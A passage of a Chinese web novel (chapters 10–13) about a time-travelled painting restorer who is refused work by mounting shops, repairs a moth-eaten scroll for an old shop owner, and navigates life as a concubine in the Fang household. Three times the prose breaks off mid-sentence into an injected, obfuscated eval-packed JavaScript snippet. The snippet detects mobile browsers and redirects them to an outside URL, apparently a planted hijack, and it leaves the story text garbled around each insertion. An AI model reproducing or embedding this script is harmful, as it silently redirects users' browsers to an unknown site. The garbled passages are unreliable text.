桂馨院里,舒容一个下午都在一张纸上画着一副京城的地图,并且标注出她最近去过的地点。她打算像后世旅游打卡那样日后慢慢把地图丰富起来。 绿影去竹香院拿晚食时,听到表小姐来府的消息,一回来便同舒容讲,“听说表小姐要在府里住上好一阵子而且就住在咱们旁边的落梅院里。” 舒容对这件事情不感兴趣,有亲戚来访本是常事。她只想着那日书肆老板说的城东北有书画一条街,京城里的书画交易多数都在那里进行,裱褙铺子也都尽在那一带。她打算明日去实地探访一番,或许能够在这异世重新拾起书画修复师的工作。 10. 裱褙铺解围 刚吃过早食,舒容便出门往书画一条街走去。这次她没有叫上绿影,只说想自己随处逛逛,让绿影在桂馨院里自己做事。 在经过布庄时舒容花了一钱银子买了一顶浅紫色帷帽戴着,将她俏丽的容颜挡住。虽则方夫人允许她自由出府,却并未允许她在外做工。她今日又是去文人墨客常去的地方,说不准有些风流人士见她长得好看前来攀扯,一顶帷帽免去许多事端。 一直不停脚,舒容走了一个时辰才到墨香街。这是一条东西向的长街,长约两百米,街上坐落着大大小小十多间书画铺子和四五间单独做书画装潢的裱褙铺子。 舒容先把整条街走了一通,观察每间铺子的规模和客流量,最后选定从最大的风雅阁开始。 风雅阁一楼卖书二楼卖画,舒容直接上二楼,先看看这家铺子装裱师傅的手艺。二楼是一个打通的大厅,除去屋子尽头的雅间外,外头并无隔断。 除去临街的窗户,墙的四周都挂着书画,挂的画多是山水画和花鸟画,还有几幅佛像,书法只有几幅,写的是对联和经文。其中有已经装裱好的作品,做成单色立轴,条屏和对联样式,也有些只是把软片固定起来。屋子中间是四面的展示架子,上面展示着已经装裱好的册页,手卷和成扇,一面架子上还专门摆放着各种不同材质的轴头和装画用的各色画匣。 舒容转了一圈觉得这家店铺很是专业,虽然装裱的样式还不如后世那么丰富,但已经装裱好的作品工艺上并不粗糙。她看的很细致,在二楼的店铺伙计认为她是今天的主顾,走上前热情地问道:“姑娘可是要买画?” “我不是来买画的,我有事情想找贵店掌柜,不知道小哥可否帮我通传一声?”舒容笑着回道。 这个世界的装裱工艺还有很多可以发展的地方,舒容觉得自己学到的技法可以在这里大展拳脚,心中不禁喜悦起来。 穿着青衣直裰的店铺伙计听舒容的话,一时感觉有些奇怪,但见舒容穿的皆是用价不菲的衣料,他还是应了声好,领着舒容往楼下去了。在京城这个随地都是大人物的地方,他这个小伙计可招惹不起。 在等伙计通传后,舒容被领进店铺里的一间屋子,看起来是书画铺中办公的场所。一个身着藏青色万字纹云锦直身,头戴三五巾的长脸男子站在屋内。 长脸男子笑道:“我就是这风雅阁的掌柜,不知姑娘找我所谓何事?” “我习得一身裱褙手艺,不知道店中可还缺人手?我愿到铺子中做工。”舒容缓缓说道,语气很是自信。 长脸男子听完舒容的话扑哧一声笑出声来,“姑娘,我做这行几十年了,从没听过有姑娘做这个的。这里不是你玩笑的地方,姑娘请回吧。” “掌柜,我说的是真的,如果不信我可以试工的。”舒容急切地说道。 对方却没有兴趣听舒容的话,他对一旁的伙计冷声道:“送客!” “姑娘,请回吧。”伙计伸手把舒容请出去。 舒容就这样被人从书画铺中请出来。她倒没有放弃,又接连把这条街上的书画铺和裱褙铺都试过一遍,无一例外全部都拒绝了她。有些还比较客气地把她请出去,有些则是直接把她轰出去,他们宣称裱褙技术是独门秘方,舒容极有可能是来偷师的,所以对她毫不客气。 舒容在墨香街折腾到下午,连午食都没来得及吃。所有掌柜的拒绝一时间把她的精神气都打击了一半,她决定今日先到此为止,先回去休息明日再想办法。往回走的时候在一家卖玫瑰饼的铺子前买了十文钱的玫瑰饼,又在玫瑰饼旁边的香饮子铺买了一碗紫苏饮。吃饱喝足后她终于觉得精神又恢复了。 她慢悠悠往回走,为了增加自己对附近的了解便特意走了跟上午来时不同的路。午后的暖阳带着微风,她感觉倒也惬意。 在走到一间沿街小铺时,舒容看见好几个书生打扮的人围着一家店铺叫嚷着要掌柜赔钱。舒容本着吃瓜的心态走近看起热闹来。 “掌柜的,我告诉你,我这幅画可是我家的传家之宝,是从我太爷爷那辈传下来的。去年春天我才在你铺子里头裱褙的,你当时可收了我十两银子。现在才放了一年就被虫蛀成这个样子,我告诉你,今天要么你赔我一百两银子,要么我们就去见官。” 说话语气不善的是个穿紫色直身的矮胖男子,男子脸上坑坑洼洼像粗糙不平的石子路面。 他身边还跟着三个同款打扮的男子,只是高矮不一,看起来是为矮胖男子壮声势的。 “掌柜的,这就是你家铺子的问题,赶紧给李兄赔钱。 “就是,赶紧赔钱,不赔钱咱就去报官。” “掌柜的,这是李兄家的传家宝,你可别想着赖账。” 三个人的声音一个比一个大,霎时间引来许多跟舒容一样的好事者,把小店外头包得密不透风。 店铺里头只有一个头发斑白的老头和一个看起来十七八岁的伙计站在门沿。那老头就是这间裱褙铺的掌柜胡进荣,伙计是他的侄子叫胡顺。胡掌柜的父亲是在别处做了十多年的学徒,出师后便在这里开了一间裱褙铺。因着他父亲手艺好,收费低,铺子生意还算红火。等他接手这个铺子,他的手艺一般,顾客大大流失,只剩下些图便宜的顾客才来他家的铺子。 好在父亲的时候生意好赚了钱把铺子和连带的院子买了下来,一家人倒也能凭借着时不时的生意凑合生活。他的儿子也争气在前几年考中了秀才,现在去书院读书等着进一步考科举。 胡掌柜记得李全这单生意,是去年为数不多的大单,可他就是按照父亲教的手艺做的不知道为何出现这样的问题。胡掌柜为着儿子着想不能报官,若他犯事恐怕对儿子科举有碍,可是他又拿不出一百两银子赔钱。 看着胡掌柜跟个闷葫芦样一言不发,李全不耐烦地说道:“掌柜的,你什么个意思?我可没工夫跟你在这里耗,你要赔银子还是要去官府,你爽快点!” “李秀才,我……我……”胡掌柜开口支支吾吾,脸上快皱成苦瓜。 “这不是什么大毛病,完全可以修复。”舒容看了半天戏,好巧不巧正是她拿手的事。 听到舒容的声音,一时间众人都望向她的方向。 李全是个爱去逛花楼的,看见舒容身姿窈窕,虽被帷帽遮挡他也认定舒容定是个美人。他语气便和缓下来,“姑娘,你刚才说的是何意思?” “是啊,姑娘,你说可以修复可是真的?”胡掌柜语气更是着急,他曾听父亲说过有些裱褙师傅可以修画,可京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒容走进裱房,看到大红漆案的裱糊台和贴画用的木墙,舒容觉得自己仿佛回到了现代,回到了工作的工作室里。她环顾四周,看地面铺了地板,屋子光线适宜,看来确实是用心设计过的。桌上摆放的装裱工具齐全,品相也看起来不错。 “姑娘,你看可还满意?”胡掌柜问。 “很好。掌柜你这儿可有治好的浆糊?” “有的有的,我前两天刚治好的,我拿过来给姑娘看看。”说着胡掌柜从屋内的角落处拿出一个陶碗,碗中盛着清水,水下面是治好的浆糊。 舒容打开帷帽,认真观察浆糊,见成色不错,“浆糊不错,掌柜,今日已晚,明日一早我来店中开始修画。” 胡掌柜看见舒容帷帽下的脸,不由感叹,好一个绝色佳人。他笑着对舒容点点头。 “小女子姓容名一,不知掌柜如何称呼?”出门在外,为避免麻烦,舒容给自己取了一个假名字。 “容姑娘,小老儿姓胡,你唤我胡掌柜就好,前头店里是我侄子,名叫胡顺。” “好,胡掌柜。那我今日先行告辞,明日再来。” 11. 一个没用的系统 舒容走出故荣斋,往方府走去,才发现这家店铺和她日常进出的方府东侧门只隔着一条街的距离,从故荣斋走到方府只需一炷香的功夫。因故荣斋所在的街道不甚热闹,所以她还未曾去过此处。 第二天一早,舒容就出门去了故荣斋。胡掌柜一早就打开铺子在店铺门口张望,虽然舒容昨日看起来信心满满,他也担心对方会失信不来。远远见到舒容仍戴着那顶淡紫色帷帽,胡掌柜脸上马上堆满笑容,快步走到舒容跟前,热情地跟她打招呼。 “容姑娘,你来了。” “胡掌柜早。” 两人寒暄后舒容就去往裱房准备干活。胡顺今日家中有事,不会来店中,胡掌柜要在店铺中守店,胡掌柜把各色的工具,纸张都一一给舒容说清楚后,便去店铺中看店,裱房就只有舒容一人。她今日特地带来一件旧衣服制成的围裙,是她昨天回去后自己做的,穿在外头免得把衣服弄脏。她取下帷帽,头上只簪有一只梅花银簪。 正当舒容把《喜鹊登枝图》铺展在案上,准备记录数据,脑海中突然响起一个机械的声音:“亲爱的主人你好!我是文物修复系统7749号,欢迎你使用本系统!” 什么?系统?舒容有些不可置信。不过她自己都能穿越,随身有个系统也不是件太难以接受的事情,所以她很快就调整好心态。 “你说你是系统,你怎么不在我穿过来的第一天就出现?”舒容好奇地问。 “亲爱的主人,我是文物修复系统,只有你在修复时我才会出现。”7749解释道。 “那你是能帮我修画吗?” “亲爱的主人对不起,本系统没有这个功能,请你自己动手修复画作。你是职业书画修复师,相信你可以完成修复工作。” 舒容有些生气,什么破系统啊,人家的系统不是能签到得好物就是能听见别人的心声,怎么自己分到的这个就这么没用。 “那你能做什么?”舒容无奈地问。 “亲爱的主人你是否记得你当初学习书画修复时立下的宏愿,要用毕生的时间传承和发扬这项技艺。在你穿越到这个世界时,文物修复系统检测到你的匠心,于是将我送到你的身边。” 宏愿?好像是有过,她在第一节实操课上大言不惭地讲要为书画修复事业奋斗终身,上课的老教授还勉励她好好干。怎么上课说大话也要被人记录啊,舒容有些无语。 看舒容神情低落,7749道:“亲爱的主人,检测到你精神状态不佳,我现在为你解释我的功能。你在这个世界每修复或者装裱好十件作品时,可以获得一次转盘抽奖机会,百分百中奖,有机会获得珍稀的颜料,修复工具,纸张等。若足够好运可以获得一键焕新机会,任何的一件体积在一平方的文物都能还原成最初的模样。” 这听起来还有点用,舒容问:“那你什么时候会出现?只有在我做修复的时候吗?” “是的,若你在修复时需要,可以呼唤我的工号7749,我虽然无法为你提供帮助,但是我可以陪你聊天。并且你和我聊天的声音不会被人听到,你不用担心。” 舒容现在知道了,7749就是个记录和抽奖系统连带有聊天功能,对她的工作起不到实质性的帮助作用,她叹了口气道:“谢谢你7749,我不用陪伴聊天,你下去吧。” “好的,亲爱的主人。” 7749说完这话,舒容就听到三声水滴声,这应该是表示它已经离开。 舒容叹了口气,继续手头的工作。 她把裱糊台上的《喜鹊登枝图》用裁尺量好画心和各部位的尺寸,记录在一张纸上,到时候凭借这张纸上的数据来重新镶嵌。再用马蹄刀将画心,签条等各部位裁切下来。做完这一切她才想起还没有备好洗画用的开水,又去店里找胡掌柜问清灶房的位置,烧好了一锅开水。 她用桶取了半桶开水到裱房中。将画心表面的灰尘用刷子轻轻掸去后,铺了一张皮纸在案上,用鬃刷将其浸湿固定在案上,再将画心置于上方。担心画的颜料晕墨,舒容又用宣纸团成条在画中墨色最浓处沾湿,观察片刻没有跑墨,她便开始下一步的清洗工作。 舒容把画用水先润湿,轻轻铺展开来,再淋下温开水等起略微浸泡后用一块面巾卷成条擦干净画上的水分。这幅画并不脏,重复两次后面巾挤出的水已经变得清澈。舒容又用铜镊子将画表面留下的毛屑一一清理干净。 接着就在画的表面覆上一层纸,小心地把画翻转过来,用针锥和镊子小心地揭去覆背纸和命纸。等画揭完,舒容将润湿的布盖在画上,用和画心相似的纸料调配出补虫洞用的补料。又把胡掌柜治好的浆糊调成稀浓度的不同的浆水。舒容在补料加入稀浆水小心地用镊子将补料补到虫蠹的地方。这幅《喜鹊登枝图》之所以被虫蠹,很大一部分原因竟是胡掌柜没有打蜡。可是她分明看见了裱房中有虫蜡和蚜石。 补好虫洞,附上覆背纸后,舒容把画游浆上墙。做好这一切后不知不觉时间已是午后,她向胡掌柜告辞后回到方府。中午的时候她在故荣斋附近的面摊吃了一碗素面,面的分量不多,到下午已经是腹中空空。 舒容回到桂馨院就招呼绿影给她拿些吃食过来。 绿影从小厨房端来一碟桂花糕,她们每日的吃食都是竹香院供的,有些吃不完的糕点就放在桂馨院的小厨房里。 “姑娘,你这两天怎么老是出门?”绿影有些好奇,姑娘出门也不再带她出去了。 舒容放下茶杯到桌上,她笑道:“我做正事去了,不过我还不能告诉你做什么。好绿影,你可得帮我保守秘密。若府上人问起,你便说我出去闲逛了。” 绿影想了想,郑重地点头道:“若姑娘不想说,绿影也不问,若有人问起,我便照姑娘的说话回他。” “好绿影,谢谢你。” 绿影摇摇头,“姑娘,这两日我把你教我的大字写了好多张,我拿过来姑娘你帮我看看。” 说完绿影就跑出去,从她的屋中取来几张大字,舒容看上面写的人之初性本善已经写得颇为工整,“绿影,你这几个字写得不错。” 接着舒容又接着往下教了绿影几个字。晚上吃晚食的时候绿影拿回来一碟红豆糕,说是表小姐家的丫鬟做的,甚是好吃,表小姐往太太少爷处都给送了些,少爷便让康平拿一碟给桂馨院。 第二日,舒容也是一大早到了故荣斋,胡掌柜仍是热情地同她问好。 “容姑娘早。”他脸上的笑容真心实意,昨天舒容走后他去裱房看过舒容糊在墙上的画心,虫蠹的地方已经补好,舒容有真本事在身,他今日对舒容也更敬重几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143192|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 今日胡顺也在店上,舒容和两人打过招呼仍一头扎进裱房中。今天她要托绫上墙。原画的绫是就是胡掌柜店中的花绫,舒容用裁尺比出要裁的长度,先用剪刀剪出一个小口抽丝,再沿着抽丝的直线剪下花绫。 花绫光面朝下,接着用鬃刷将花绫两端刷湿绷直,再将花绫全部润湿,把花绫的花纹对齐。舒容又裁好与花绫同样大小的纸放在一旁,从浆糊盆挖出新的浆糊调成好浆水。用面巾把绫上的水分吸干,涂上浆水附上纸后,再次游浆上墙。 舒容做好做完观察大墙上的画心还需几日才能揭下,她准备过几日再来。收拾好装裱工具后,舒容出了裱房。看见胡掌柜正在老梨树下坐着饮茶,眼睛却是看向裱房的方向。 “容姑娘,可是托好绫了?”胡掌柜站起身问。 “是,画还有几天才能揭下,我今日便先走了,三日后再来。”舒容对胡掌柜说道。 “好好好,容姑娘慢走。”胡掌柜将舒容送出店门。 舒容想起自己许久没去采晖堂,今日时候尚早便去买些糕点去采晖堂见见何夫人。 她打听到城中最好的糕点铺是城西的天香楼。她没有马车,一来一回实在太远,便去了城东一家也颇有名气的老字号糕点铺好味阁,买了店中的招牌茯苓糕和云片糕,一样买了三份。 回到桂馨院时还不到午食时候,绿影正在桂花树下专心地绣着鞋面。舒容把东西放到小厨房,又走近她,她也不曾察觉。 “这是海棠花?”舒容出声道。 突然听到声音绿影被吓了一跳,手中拿的针都掉到簸箩里,“姑娘,你什么时候回来的?” “刚刚回来的,我没吓到你吧?”舒容倒不是有心要吓绿影的,只是好奇她在绣着什么东西。 “没有姑娘,我胆子可没那么小。”绿影把针捡起来,继续绣。 “你这是绣的什么?”舒容伸手拿起绿影绣好的花样问。 “这是给我弟弟妹妹做的鞋,下次等我爹来找我,我就让我爹带回去给他们。” “绿影真是个好姐姐。” 绿影被夸得羞红了脸,“姑娘到屋子里坐,我去给姑娘沏茶。” 说着就要起身,舒容用手轻轻按住她的肩膀,“你继续绣吧,我想自己沏茶。” 舒容这样说,绿影也就没继续动作,她跟舒容相处时间越久越知道舒容是个主意大的,很多事情都喜欢亲力亲为,因此舒容说要做的事情她也从不阻止。 午后,舒容算好何夫人午休的时间,在她午休后带着糕点同绿影一起去了采晖堂。 “也是有些日子没看见你了,身体可好?”何夫人微笑着问舒容。 “舒容一切都好,全赖太太和二少爷关照。”舒容恭敬地回答。 “二郎最近可有来你院里?”何夫人对舒容问道。 舒容摇摇头,“想来二少爷公务繁忙,还不曾来过桂馨院。不过今日我特意买了糕点想往竹香院去看看二少爷。” 何夫人赞许地看了舒容一眼,“这就对了,二郎性子冷,你热情些,这便两厢合宜了。” 舒容在何夫人处又得了一盆虎头茉莉,回来便和绿影把花栽到了上次栽的栀子花的旁边。 晚食后,舒容用提篮装着两碟糕点往竹香院去。 12. 到我屋里去 康平见舒容过来,连忙往书房里报:“二少爷,舒容姑娘过来了。” 方冉途在书房内看着书,眼神却放空正在想着表姐,听到康平说话,才回过神,将眼神重新聚焦在书上。他问道:“她来做什么?” “应该是给二少爷送吃食来的,我见舒容姑娘手里拿着提篮。”康平一边回话,一边看着方冉途的脸色。 方冉途想起舒容,上次见她还是在圆房那夜,已经过去半个多月时间。母亲前几天也问起他和舒容相处如何,想是从康平那里知道他们除了那一夜就再未同房。想到这里,他眉心微蹙,将书合上,走出门去。 康平紧跟在他身后,心里想着看来舒容姑娘在二少爷眼中真的非同一般,二少爷听到她来都要亲自出来迎接。 见到方冉途从书房里出来,舒容有些惊奇。她本来以为对方让康平收下她的糕点就会让她回去,没想到他还会亲自出来见她。惊奇过后,她恭敬地问好,“舒容见过二少爷。” “走吧,到我屋里去。”方冉途看了眼面前一身杏黄衣裙的舒容,一本正经地说道。说完便抬脚往寝房里去。 康平走上前接过舒容手中的提篮,舒容跟上方冉途的步子往他屋里走去。 舒容在方冉途寝房外间的紫檀罗汉床上坐下,康平马上送上新砌的茶水,又将她带来的茯苓糕和云片糕摆在桌上。 方冉途让康平下去,屋内只剩他们二人。今日他穿着葱白色暗纹织锦道袍,头上簪一支紫水晶簪。简简单单却美得让人移不开眼。他用修长的手端起粉蓝色的瓷杯,活像美人纤指在桃花林中抚摸一朵嫣红的桃花。舒容不禁感慨他的手真好看,再低头看自己的手,倒生出几分羞惭。 她不知道方冉途是为了向何夫人表示他们俩之间感情好所以邀请她在屋内喝茶,还是他另外有话要对她讲,她一时间也没有开口说话。 “舒容,我想你今夜就歇在竹香院里。”方冉途在心里练习良久,终于把话说出口,他话说的暧昧,眼神却甚是清明,看不到半分情欲。 舒容正在喝茶,听到他平淡地说出这话强忍着没有把口中的茶水喷出来。她把茶杯放到桌上。睁着一双明媚的丹凤眼望着方冉途问:“二少爷要我歇在竹香院?” 方冉途看见舒容探究的眼神立马移开,凝神看向案上三足香炉内升起的丝丝青烟,许久后闷声道:“嗯。” “好。”舒容干脆地回答。她明白方冉途估计是因为何夫人的缘故,他既然主动提,她也乐得如此。偶尔来竹香院睡一晚,何夫人不会怀疑他们之间有什么问题,她便能安心在方府做着自己的事情。 听完舒容的回答,方冉途坐在原地一言不发也没有要起身去书房的意思。舒容有些憋不住,便主动开口道:“听说二少爷的表姐近日来了府上,前两日康平还给桂馨院分了一碟表小姐给的红豆糕,很是美味。” 听到舒容谈起表姐,他眼神里出现一抹笑意,很快又隐了下去,让人捕捉不到。但开口的语气变得柔和许多。 “表姐是我姨妈的独女,现在新寡暂时住在我们府上。” 听见他难得温柔的语气,舒容想方冉途定是与他表姐关系好,他这样冷冰冰的人,也只有提起亲近之人才会流露出柔情。 她斟酌着开口:“二少爷和表小姐似乎很是亲近?” 方冉途脸上浮起红晕,没有看她,眼神盯着飘荡的青烟不放,开口道:“表姐未出阁前曾在府上住过些日子,表姐对我很好。” 他不知道怎么面对舒容时把自己的真心话讲了出来,许是在陌生的人面前反而还对表露自己的心意感到更为自在。表姐来府上已经有了两天,他却还未寻到合适的借口去落梅院看她,他把库房中的物品挨个翻捡也没有寻到合心意的礼物,去街上的珍玩店也没有看到能配得上表姐的东西。他原来想着表姐若来府中他定要日日前去看望,如今却生出一种近乡情怯之感。他的满腔热情,根本无法向表姐一一坦白。 “虽然舒容还不曾见过表小姐,想来表小姐定是极好的人。”舒容笑道。 “是,表姐,就是很好的人。”方冉途的话说的又轻又慢,不像是在回答舒容倒是像在对自己说话。 舒容点点头,又啜饮了一口茶水。她跟方二少爷对话有种过年和不熟亲戚寒暄的感觉,彼此都感觉有些生硬。她将茯苓糕推到方冉途面前,笑道:“二少爷,这是我今日特意在好味斋买的茯苓糕,伙计说是他家的招牌,您尝尝看合不合胃口?” 方冉途吃了一小块,说道:“不错。” “您要是喜欢,下次我还去买。”舒容道。她看着窗外的墨蓝的天色,想着时间怎么过得如此之慢。 方冉途吃了一块茯苓糕后便不再继续,他对甜腻之物并没有多么喜欢,只不过是为了不拂她的心意才吃上一块。舒容一时找不到新的话头,也拿起一块云片糕细细品尝起来。 “你说女子最想收到什么礼物?”方冉途突然发问。 舒容缓慢地将口中的云片糕咽下,不知道他是想给谁送礼物,不过肯定不会是她,应该也不会是何夫人,那就只有新来的表小姐。舒容如此想着,却也不敢肯定,便道:“不同女子有不同的性情喜好,送礼物自然也是投其所好最好。” 投其所好,方冉途喃喃自语这四个字,表姐素日最爱丹青,他突然知道该送表姐什么礼物了。 看他脸上喜悦的神色,舒容知道自己的回答他挺满意。 两人又枯坐了些时候,终于到了人定时分。两人沐浴后,还是按照上次男内女外的位置躺下。方冉途比起上次浑身紧张的样子好了不少,他仍然紧挨着墙壁,整个身体却放松不少。 舒容没什么不自在的,比起跟方冉途没话找话,跟他同塌而眠倒还好上一些。反正是各睡各的,谁也没有不轨之心。她侧身朝外,裹紧锦被,安静躺在靠近床边的一小块地方。虽然不如在桂馨院自己独享一张大床,但她睡觉老实,倒也足够。外头下起了夜雨,滴滴答答打在屋檐下,很是助眠。舒容放空自己,很快就要进入梦乡。 “舒容。”方冉途小声地唤她。 他此时侧身朝向舒容,她把被子裹得严严实实,透过夜光只看到她露在被子外的一头青丝。 听到有人喊自己,舒容迷迷糊糊地应答一声,“嗯?” 方冉途本想和她商议以后每月来竹香院留宿的事情,听到她慵懒的嗓音,知道她已经快睡着,便也闭上眼睛不再作声。 两人皆是一夜好眠。 方冉途醒得比舒容更早一些,他本不欲打扰舒容睡觉,没想到起床的动静还是吵醒了她。 “我要去上值,你继续睡吧。”方冉途轻声说道。 舒容睡得足,现在已经清醒过来,也想起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148759|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回竹香院去,便道:“二少爷,我服侍你穿衣吧。” 方冉途本想拒绝,又怕舒容是想向母亲展现他们两个感情好,于是也没有拒绝。 舒容为他系乌角带,两手穿过他的腰间,她初次见他时就觉得他腰细,今天近距离接触发现比自己想象的还要细上几分。想起刚刚在他换衣服时自己不小心瞥见他精壮的上身,她有些感慨上天对方冉途真是厚爱,有了一副好相貌还不够,还有一副好身材。舒容想得入神,不自觉地把乌角带扣得十分紧。 “有些紧了。”方冉途出声提醒道。 “啊?”舒容一时没意识到他说的什么,看着自己手中的腰带才知道他说腰带系紧了,她立马松了一些重新系好。 “如此可合适?”舒容小心问道‘’ “合适。”他轻声说。 舒容转身去拿乌纱帽。 他忽然开口道:“往后每月你来竹香院留宿两日,可好?” 舒容倒没想到他会主动提议,想想两人能达成共识对她倒也省些做戏的事,便道:“好。” 看见她带着笑意的眼眸,他也回之一笑,从她手中接过乌纱帽自己戴好。 “我先上值去了,你可在竹香院吃了早食再回去。”他温和地说道,他觉得跟舒容沟通还是很容易的,并没有像褚炤说的女人心海底针那般不可捉摸。 “好,二少爷慢走。”舒容没想到他还如此体贴自己。 等方冉途走出房门,绿影便从屋外走了进来。 “姑娘,我给你梳妆。” 绿影侍候舒容洗漱后,两人在竹香院吃了早食才回桂馨院。 “我给你留的茯苓糕和云片糕吃了没有?可还喜欢?”舒容问绿影。 “吃了,好吃。我喜欢那云片糕的滋味。”绿影笑着回道。 “喜欢便多吃点,等下次我再买去。” 舒容让绿影给她找几个麻布口袋,又让竹香院的小厮帮她找来一车沙子。 “姑娘,你拿沙子这是要做什么?拿来栽花吗?”绿影疑惑地问。 舒容摇摇头,“我是想拿来做成沙袋的,我整日在院中无事做,觉得身体松懈,四肢乏力。我幼时父亲就教我用沙袋打拳,以此来锻炼身体。如今闲来无事我便想着自己做上一个,兴致来时便松动松动筋骨。” 绿影虽然觉得打拳是男子所为,但也没有提出意见,只是帮着舒容装袋,两人又颇费力气才把沙袋吊好。舒容把沙袋吊在小厨房。那里日常并不开火,地方也还算宽敞,平时除了绿影和她也无人会去,她在那里打拳便十分合适。 做好沙袋后,舒容想起还缺一副拳击手套。可惜没有橡胶,她便想着用羊皮来做手套。她去街上买了些鞣制好的小羊皮,又买上一些棉花和细布。回来便照着自己记忆中的样子把手套画出来。绿影看她做得艰难,便主动提出帮忙,在绿影的巧手下晚上入睡前终于把一双手套做好。 这两日无事舒容除了看书就是在小厨房里打拳。绿影给家人做的鞋面已经做好,又用牡丹花花样给舒容做了一双绣鞋。 等到要去故荣斋的那日,舒容正在屋里吃早食,今日厨房做的萝卜丁咸菜甚是爽口,她和绿影皆就着多吃了一碗粥。绿影刚把碗筷送回竹香院回转过来,就听见守东侧门的柳婆子拍响桂馨院的小门,“绿影姑娘,你爹在侧门外找你有急事!” 13. 容一妙手,复旧如新 绿影急匆匆去东侧门见父亲,回来却一脸忧郁,急忙去自己屋里翻找出自己存下的银钱。 舒容收拾好正准备出门,看见绿影拿一袋子铜钱要往外头去,便问道:“绿影,你拿着这么多钱要做什么?” 看见舒容,绿影脸上霎时落下两行泪来,看得舒容心疼不已。这个姑娘平时伶俐活泼,还从未见她露出如此伤心模样。舒容连忙上前,用手帕轻轻地拭去她的眼泪。 “姑娘,我弟弟前两天摔断了腿,看病要五两银子,家里只有一两多的银钱。我家之前借了同村的邻居家五两银子给他们买牛,昨日我爹拿着借条让他们还钱。他家的小儿子抢过借条撕成几块扔在地上,他们却说借条已经碎成几块,他们不认。我娘又气又急引发了旧疾,现在家里有两个病人等着看病,我爹没办法才到府中找我拿钱。” 绿影说着眼泪又大颗大颗地掉了下来,她用衣袖把眼泪擦干,带着哭腔道:“姑娘,我先出去把钱给我爹。我爹还在东侧门等着我。” 见她要走,舒容开口道:“等等。” 说完舒容去房间自己放钱的箱子里拿出自己剩的五两银子放到荷包中,走到院中把荷包拿给绿影。 看到舒容给的荷包,绿影连连摆手,“姑娘,我不能要。” 她知道舒容之前是家生子的身份,月银甚至没有她高,虽然现在是二少爷的通房,月银也只有一两银子。 “治病要紧,你先拿着用吧。我并没什么花销的地方,再说过两日又到领月银的日子,你不用担心我没有钱花。”舒容微笑着对绿影讲,她是真的很喜欢这个姑娘,也知道她很爱她的家人所以愿意拿出所有积蓄给她。 想到家中娘和弟弟还等着钱治病,绿影还是从舒容手里接过荷包。她扑通一声跪在舒容面前,“姑娘大恩,绿影永世不忘。” 舒容连忙把绿影扶起来,“哪里需要这样,快起来。刚刚我听你说借条碎了对方才不认,你去把借条拿来给我看看,我知道有人可以把碎的纸也给拼起来。” 听到舒容说的话,绿影眼神亮起来,拉住舒容的衣袖激动地说:“姑娘,你说的是真的?” 舒容笑着点点头,“你快去吧。” 绿影马上飞奔着出了桂馨院,片刻后手里拿着一个手帕进来。灰蓝色的手帕中正裹着残破的借条。舒容拿到屋内的桌子上,一片片铺在桌子上,发现虽然碎成许多小块,上面的字迹倒也很清晰,稍微用浆糊粘起来应该可以复原。 “应该是可以拼起来,今日我刚好要去找那会拼这个的人,过两天就可以补好,你让你爹过两天再来府里拿这个借条。”舒容温声嘱咐道。 “好,好,我这就去给我爹说。”绿影激动地又哭又笑。 “快别哭了,哭多了可就不好看了。反正桂馨院里也没有什么事,你就随着你爹回家去看看,也在家里住一晚,明日再回来。”舒容对绿影说。 “姑娘,真的可以吗?”绿影不可置信,她自打来方府后还从未回过家,她真的很想娘和弟弟妹妹。 “自然是真的,你快随你爹回家去吧。明日在府门落钥前回来就好。”舒容怜爱地摸摸绿影的头,绿影也不过是个十二岁的小姑娘,在现代也不过是小学刚毕业的年纪,在这里她已经为了家人在方府做了两年的丫鬟。 绿影离开不久,舒容也收拾好自己,戴好帷帽去了故荣斋。 胡掌柜早就等在门外,昨天他去裱房看过大墙上的画和绫,都是可以揭下来镶嵌了。今日是舒容说要来的日子,他便一早烧水煮茶等着舒容来。 “胡掌柜早。”舒容跟他打着招呼。 “容姑娘,快请进。”胡掌柜把舒容带到后院,奉上清茶。 舒容饮了一杯清茶,问道:“画可是可以镶嵌了?” 胡掌柜笑着点头,眼周的皱纹愈发加深,“我已看过,就等着姑娘来了。” 喝过茶后,舒容去到裱房,穿上围裙后将裱糊台用抹布清理干净,就用竹起子把板上的画心和花绫揭下来。接着便按照修复前记录好的各项数据把需要的料裁好,调制好浆糊后将画镶嵌好。镶嵌完比着画的尺寸托好覆背纸,等覆背纸晾干的时候。她就处理起绿影的借条来。 那借条上没有几个字,舒容把字拼好便小心地用喷壶把纸润湿,待纸张平整后又用纸覆在上方吸去多余水分,最后再将纸翻转过来,刷上一层浆水覆上一层相似的纸也就修好了。 等覆背纸晾好,舒容将画上好覆背纸,贴好签条和搭杆后再次上到大墙上。离约定的半个月时间还有十多天,舒容收拾好装裱工具,准备等约定时间前两天再来完成最后的打蜡和装杆。 舒容拿上借条走出裱房,胡掌柜在店中和胡顺一起整理着柜台。舒容和他说好时间后便回了方府。 